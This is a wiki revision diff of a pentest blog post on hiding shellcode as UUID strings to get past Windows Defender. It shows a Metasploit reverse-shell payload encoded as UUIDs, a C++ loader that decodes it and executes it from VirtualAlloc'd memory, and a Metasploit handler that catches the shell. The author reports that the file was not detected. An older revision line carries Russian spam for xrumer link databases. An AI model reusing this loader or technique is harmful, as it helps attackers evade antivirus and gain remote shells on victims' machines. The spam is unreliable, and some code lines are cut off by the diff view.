Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| en:it-security:blog:obfuscation_shellcode_als_uuids_tarnen [2025/07/03 19:23] – [Obfuscation: Disguise shellcode as UUIDs] 212.34.128.179 | en:it-security:blog:obfuscation_shellcode_als_uuids_tarnen [2025/09/05 10:16] (current) – old revision restored (2024/09/17 08:20) psycore | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | {{tag>IT-Security Windows Kali pentest obfuscation blog english}} | + | {{tag>IT-Security Windows Kali pentest obfuscation blog english}} |
| + | |||
| + | ====== Obfuscation: | ||
| + | |||
| + | {{it-security: | ||
| + | |||
| + | In the last [[en: | ||
| + | |||
| + | I came up with the idea of converting the opcodes into a string array, which is filled with [[https:// | ||
| - | Оптимальный результат дадут свежие базы для xrumer <a href=https:// | ||
| ===== Tools ===== | ===== Tools ===== | ||
| Line 12: | Line 19: | ||
| We create a payload without further encryption or encoding. This is usually recognised by Windows Defender. | We create a payload without further encryption or encoding. This is usually recognised by Windows Defender. | ||
| - | <code bash> | + | <code bash> |
| - | python shencode.py create -c="-p windows/ | + | python shencode.py create -c="-p windows/ |
| - | </code> | + | </code> |
| ==== encode ==== | ==== encode ==== | ||
| Line 20: | Line 27: | ||
| We now encode this payload as UUID strings. | We now encode this payload as UUID strings. | ||
| - | <code bash> | + | <code bash> |
| python shencode.py encode -f shell_rev.raw -u | python shencode.py encode -f shell_rev.raw -u | ||
| - | </code> | + | </code> |
| The output now looks something like this: | The output now looks something like this: | ||
| - | <code cpp> | + | <code cpp> |
| [*] try to open file | [*] try to open file | ||
| [+] reading 240906.001 successful! | [+] reading 240906.001 successful! | ||
| [*] try to generate UUIDs | [*] try to generate UUIDs | ||
| - | std::vector<std::string& | + | std::vector<std::string> sID = { |
| - | "fce88f00-0000-6031-d264-8b523089e58b", | + | "fce88f00-0000-6031-d264-8b523089e58b", |
| - | "520c8b52-148b-7228-0fb7-4a2631ff31c0", | + | "520c8b52-148b-7228-0fb7-4a2631ff31c0", |
| - | "ac3c617c-022c-20c1-cf0d-01c74975ef52", | + | "ac3c617c-022c-20c1-cf0d-01c74975ef52", |
| - | "578b5210-8b42-3c01-d08b-407885c0744c", | + | "578b5210-8b42-3c01-d08b-407885c0744c", |
| ... | ... | ||
| - | "c85fffd5-83f8-007d-2858-68004000006a", | + | "c85fffd5-83f8-007d-2858-68004000006a", |
| - | "0050680b-2f0f-30ff-d557-68756e4d61ff", | + | "0050680b-2f0f-30ff-d557-68756e4d61ff", |
| - | "d55e5eff-0c24-0f85-70ff-ffffe99bffff", | + | "d55e5eff-0c24-0f85-70ff-ffffe99bffff", |
| - | "ff01c329-c675-c1c3-bbf0-b5a2566a0053", | + | "ff01c329-c675-c1c3-bbf0-b5a2566a0053", |
| - | "ffd5& | + | "ffd5" |
| [+] DONE! | [+] DONE! | ||
| - | </code> | + | </code> |
| ===== Step 2: Write Inject.cpp ===== | ===== Step 2: Write Inject.cpp ===== | ||
| Line 52: | Line 59: | ||
| We create a new C++ project and adopt the obfuscated string array that we created previously. | We create a new C++ project and adopt the obfuscated string array that we created previously. | ||
| - | <code cpp> | + | <code cpp> |
| - | # | + | # |
| - | # | + | # |
| - | # | + | # |
| - | # | + | # |
| - | # | + | # |
| - | # | + | # |
| #pragma warning | #pragma warning | ||
| - | std::vector<std::string& | + | std::vector<std::string> sID = { |
| - | "fce88f00-0000-6031-d264-8b523089e58b", | + | "fce88f00-0000-6031-d264-8b523089e58b", |
| - | "520c8b52-148b-7228-0fb7-4a2631ff31c0", | + | "520c8b52-148b-7228-0fb7-4a2631ff31c0", |
| - | "ac3c617c-022c-20c1-cf0d-01c74975ef52", | + | "ac3c617c-022c-20c1-cf0d-01c74975ef52", |
| - | "578b5210-8b42-3c01-d08b-407885c0744c", | + | "578b5210-8b42-3c01-d08b-407885c0744c", |
| ... | ... | ||
| - | "c85fffd5-83f8-007d-2858-68004000006a", | + | "c85fffd5-83f8-007d-2858-68004000006a", |
| - | "0050680b-2f0f-30ff-d557-68756e4d61ff", | + | "0050680b-2f0f-30ff-d557-68756e4d61ff", |
| - | "d55e5eff-0c24-0f85-70ff-ffffe99bffff", | + | "d55e5eff-0c24-0f85-70ff-ffffe99bffff", |
| - | "ff01c329-c675-c1c3-bbf0-b5a2566a0053", | + | "ff01c329-c675-c1c3-bbf0-b5a2566a0053", |
| - | "ffd5& | + | "ffd5" |
| - | </code> | + | </code> |
| ==== Encoding and injection ==== | ==== Encoding and injection ==== | ||
| Line 78: | Line 85: | ||
| === Remove superfluous characters === | === Remove superfluous characters === | ||
| - | Firstly, we need a function to remove the &# | + | Firstly, we need a function to remove the '' |
| - | <code cpp> | + | <code cpp> |
| void removeDashes(std:: | void removeDashes(std:: | ||
| - | str.erase(std:: | + | |
| } | } | ||
| - | </code> | + | </code> |
| === Convert strings to bytes === | === Convert strings to bytes === | ||
| Line 90: | Line 97: | ||
| The next function converts the UUID strings into executable bytes. The string array is run through piece by piece: | The next function converts the UUID strings into executable bytes. The string array is run through piece by piece: | ||
| - | * Remove from &# | + | |
| - | * Read 2 characters and return them as bytes | + | * Read 2 characters and return them as bytes |
| - | * When the string array has been run through, return the generated byte array to the caller | + | * When the string array has been run through, return the generated byte array to the caller |
| - | <code cpp> | + | <code cpp> |
| - | std::vector<uint8_t& | + | std::vector<uint8_t> convertToBytes(const std::vector<std::string>& inputStrings) { |
| - | std::vector<uint8_t& | + | std::vector<uint8_t> byteArray; |
| - | for (const auto& str : inputStrings) { | + | for (const auto& str : inputStrings) { |
| - | std::string cleanStr = str; | + | std::string cleanStr = str; |
| - | removeDashes(cleanStr); | + | removeDashes(cleanStr); |
| - | for (size_t i = 0; i & | + | for (size_t i = 0; i < cleanStr.length(); |
| - | if (i + 1 & | + | if (i + 1 < cleanStr.length()) { |
| - | std::string byteString = cleanStr.substr(i, | + | std::string byteString = cleanStr.substr(i, |
| - | uint8_t byte = static_cast<uint8_t>(std:: | + | uint8_t byte = static_cast<uint8_t>(std:: |
| - | byteArray.push_back(byte); | + | byteArray.push_back(byte); |
| + | } | ||
| + | } | ||
| + | } | ||
| + | return byteArray; | ||
| } | } | ||
| - | } | + | </code> |
| - | } | + | |
| - | return byteArray; | + | |
| - | } | + | |
| - | </code> | + | |
| === Main programme === | === Main programme === | ||
| Line 116: | Line 123: | ||
| The main program initialises the variables, calls the conversion function, outputs the bytes to the console and then executes the injection. | The main program initialises the variables, calls the conversion function, outputs the bytes to the console and then executes the injection. | ||
| - | To disguise this process somewhat, the function | + | To disguise this process somewhat, the function |
| - | <code cpp> | + | <code cpp> |
| int main() { | int main() { | ||
| - | std::vector<std::string& | + | |
| - | std::vector<uint8_t& | + | std::vector<uint8_t> result = convertToBytes(input); |
| - | unsigned char* Payload = reinterpret_cast<unsigned char*>(result.data()); | + | unsigned char* Payload = reinterpret_cast<unsigned char*>(result.data()); |
| - | size_t byteArrayLength = result.size(); | + | size_t byteArrayLength = result.size(); |
| - | std:: | + | std:: |
| + | |||
| + | for (size_t i = 0; i < byteArrayLength; | ||
| + | std::cout << std::hex << std:: | ||
| + | if ((i + 1) % 8 == 0) { | ||
| + | std::cout << std::endl; | ||
| + | } | ||
| + | } | ||
| + | |||
| + | void* (*memcpyPtr) (void*, const void*, size_t); | ||
| + | void* exec = VirtualAlloc(0, | ||
| + | memcpyPtr = &memcpy; | ||
| + | memcpyPtr(exec, | ||
| + | ((void(*)())exec)(); | ||
| + | return 0; | ||
| + | } | ||
| + | </ | ||
| + | |||
| + | ===== Step 3: Test functionality ===== | ||
| + | |||
| + | ==== Metasploit handler ==== | ||
| + | |||
| + | We start a Metasploit handler on the attack system to receive the reverse shell: | ||
| + | |||
| + | <code ruby> | ||
| + | msf6 > use exploit/ | ||
| + | [*] Using configured payload generic/ | ||
| + | |||
| + | msf6 exploit(multi/ | ||
| + | |||
| + | [*] Started reverse TCP handler on 0.0.0.0: | ||
| + | </ | ||
| + | |||
| + | ==== Compile Inject.cpp ==== | ||
| + | |||
| + | We then compile our Inject.cpp as a 64-bit programme. We then copy this to the victim system. After the copying process, the file is not recognised. We scan it once manually with Windows Defender. | ||
| + | |||
| + | {{it-security: | ||
| + | |||
| + | This also looks good. | ||
| + | |||
| + | ==== Execute ==== | ||
| + | |||
| + | We now execute the file and wait for the result. | ||
| + | |||
| + | Unfortunately, | ||
| + | |||
| + | <code stylus> | ||
| + | " | ||
| + | </ | ||
| + | |||
| + | We have generated a raw payload from metasploit. This contains a lot of null bytes and these prevent correct execution. This was quite annoying as my first tests went through. | ||
| + | |||
| + | I repeated the whole process with metasploit' | ||
| + | |||
| + | ===== Conclusion ===== | ||
| + | |||
| + | The UUID obfuscation works and protects the file when accessing the hard drive. After execution, memory protection is required to prevent detection. I will show this in the next part. | ||
| - | for (size_t i = 0; i < byteArrayLength; | + | ~~DISCUSSION~~ |
| - | std::cout & | + | |
| - | if ((i + 1) % 8 == 0) { | + | |
| - | std::cout & | + | |